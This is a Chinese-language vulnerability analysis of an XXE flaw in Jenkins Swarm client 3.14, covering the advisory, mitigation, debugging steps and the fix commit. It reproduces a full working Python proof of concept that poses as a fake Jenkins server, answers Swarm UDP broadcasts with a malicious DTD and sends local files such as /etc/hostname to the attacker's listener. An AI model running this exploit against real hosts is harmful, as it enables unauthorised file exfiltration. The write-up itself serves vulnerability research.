https://jenkins.io/security/advisory/2019-04-30/ https://www.talosintelligence.com/vulnerability_reports/TALOS-2019-0783 CVSSv3 Score:6.1 修复建议:官方暂未发布修复版本,暂无。 缓解措施:禁用UDP broadcast功能 官方commit的修复方式就是禁用DTDs (External Entities)。 参考: https://github.com/jenkinsci/swarm-plugin/pull/84 https://github.com/jenkinsci/swarm-plugin/pull/84/commits/2bf6ff1b59736f4d4099cd4d588de7ec37f37e1e
受影响版本的swarm client下载: https://repo.jenkins-ci.org/releases/org/jenkins-ci/plugins/swarm-client/3.14/swarm-client-3.14.jar Poc:
''' Jenkins Swarm-Plugin XXE PoC (via @Darkarnium). ''' import os import sys import socket import uuid import logging import http.server import socketserver import multiprocessing def find_ip(): ''' Find the IP of the 'primary' network interface. ''' sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.connect(('8.8.8.8', 80)) addr = sock.getsockname()[0] sock.close() return addr class RequestHandler(http.server.BaseHTTPRequestHandler): ''' Provides a set of request handlers for our Fake jenkins server. ''' def __init__(self, request, client_address, server): ''' Bot on a logger. ''' self.logger = logging.getLogger(__name__) super().__init__(request, client_address, server) def version_string(self): ''' Override version string / Server header. ''' return 'TotallyJenkins' def log_message(self, fmt, *args): ''' Where we're going, we don't need logs. ''' pass def log_error(self, fmt, *args): ''' Where we're going, we don't need logs. ''' pass def log_request(self, code='-', size='-'): ''' Where we're going, we don't need logs. ''' self.logger.debug( 'Received %s request for %s from %s', self.command, self.path, self.client_address ) def build_stage_two(self): ''' Builds a second stage XXE payload - for exfil. ''' payload = ''' <!ENTITY % local1 SYSTEM "file:///etc/debian_version"> <!ENTITY % remote1 "<!ENTITY exfil1 SYSTEM 'http://{0}:{1}/exfil?/etc/debian_version=%local1;'>"> <!ENTITY % local2 SYSTEM "file:///etc/hostname"> <!ENTITY % remote2 "<!ENTITY exfil2 SYSTEM 'http://{0}:{1}/exfil?/etc/hostname=%local2;'>"> '''.format(find_ip(), '8080') return payload.encode() def do_GET(self): ''' Implements routing for HTTP GET requests. ''' self.logger.debug('Processing GET on route "%s"', self.path) # Provide an exfiltration endpoint. if '/exfil' in self.path: self.logger.warn('Exfiltrated %s -> "%s"', *self.path.split('?')[1].split('=')) self.send_response(200, 'OK') self.send_header('X-Hudson', '1.395') self.send_header('Content-Length', '2') self.end_headers() self.wfile.write(b'OK') # Serve the payload DTD. if self.path.endswith('.dtd'): stage_two = self.build_stage_two() self.send_response(200, 'OK') self.send_header('Content-Type', 'application/x-java-jnlp-file') self.send_header('Content-Length', len(stage_two)) self.end_headers() self.wfile.write(stage_two) # Ensure the X-Hudson check in Swarm plugin passes. if self.path == '/': self.send_response(200, 'OK') self.send_header('X-Hudson', '1.395') self.send_header('Content-Length', '2') self.end_headers() self.wfile.write(b'OK') def do_PUT(self): ''' Mock HTTP PUT requests. ''' self.send_response(500) def do_POST(self): ''' Mock HTTP POST requests. ''' self.logger.debug('Processing POST on route "%s"', self.path) # Respond with an OK to keep the exchange going. if self.path.startswith('/plugin/swarm/createSlave'): self.send_response(200, 'OK') self.send_header('Content-Length', '0') self.end_headers() def do_HEAD(self): ''' Mock HTTP HEAD requests. ''' self.send_response(500) def do_PATCH(self): ''' Mock HTTP PATCH requests. ''' self.send_response(500) def do_OPTIONS(self): ''' Mock HTTP HEAD requests. ''' self.send_response(500) class HTTPServer(multiprocessing.Process): ''' Provides a Fake Jenkins server to signal the Swarm. ''' def __init__(self, port=8080): ''' Bolt on a logger. ''' super().__init__() self.port = port self.logger = logging.getLogger(__name__) def run(self): ''' Do the thing. ''' self.logger.info('Starting HTTP listener on TCP %s', self.port) # Kick off the server. instance = http.server.HTTPServer( ('0.0.0.0', self.port), RequestHandler ) instance.serve_forever() class Spwner(multiprocessing.Process): ''' Provides a Spawn broadcast listener and responder. ''' def __init__(self, port=33848): ''' Setup a socket and bolt on a logger. ''' super().__init__() self.port = port self.logger = logging.getLogger(__name__) self.logger.info('Binding broadcast listener to UDP %s', port) self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.sock.bind(('255.255.255.255', self.port)) self.swarm = str(uuid.uuid4()) def build_swarm_xml(self): ''' Builds a baked Swarm payload. ''' # This is dirty. payload = '''<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE swarm [ <!ENTITY % stageTwo SYSTEM "http://{0}:{1}/stageTwo.dtd"> %stageTwo; %remote1; %remote2; ]> <root> <swarm>&exfil1;</swarm> <version>&exfil2;</version> <url>http://{0}:{1}/</url> </root> '''.format(find_ip(), '8080') return payload.encode() def respond(self, client): ''' Send a payload to the given client. ''' addr, port = client self.logger.info('Sending payload to %s:%s', addr, port) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(self.build_swarm_xml(), (addr, port)) self.logger.info('Payload sent!') def listen(self): ''' Listen for clients. ''' while True: _, client = self.sock.recvfrom(1024) self.logger.info('Received a Swarm broadcast from %s', client) self.respond(client) def run(self): ''' Do the thing. ''' self.listen() def main(): ''' Jenkins Swarm-Plugin RCE PoC. ''' # Configure the logger. logging.basicConfig( level=logging.INFO, format='%(asctime)s - %(process)d - [%(levelname)s] %(message)s', ) log = logging.getLogger(__name__) # log.setLevel(logging.DEBUG) # Spawn a fake Jenkins HTTP server. log.info('Spawning fake Jenkins HTTP Server') httpd = HTTPServer() httpd.start() # Spawn a broadcast listener. log.info('Spawning a Swarm broadcast listener') listener = Spwner() listener.start() if __name__ == '__main__': main()在Mac上碰到一个问题, 不能监听在UDP 255.255.255.255:33848,Windows上也不行。 在ubuntu 18.04上成功: 看这个利用方式,看来跟Jenkins本身关系不大,Jenkins只是运行了一下这个Jar而已。
先在命令行输入参数启动jar包:
java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar swarm-client-3.14.jar(若这里将server=n,则swarm-client-3.14.jar会在我们执行这条命令之后就运行了): 这里将suspend=y,这样swarm-client-3.14.jar就会等到我们连接到调试端口5005之后才往下运行: 参考:https://blog.csdn.net/rainbow702/article/details/64127489 搭建环境,IDEA在jar包所在目录建立工程,然后将jar包作为Library导入,IDEA就可以帮我们反编译,然后调试了。
在IDEA界面点击调试之后: 查看swarm-client-3.14.jar!/META-INF/MANIFEST.MF 得知其主类为:hudson.plugins.swarm.Client。 调用栈很简单: 修复方式如官网的commit: 典型的Java的XXE触发点,及修复方式。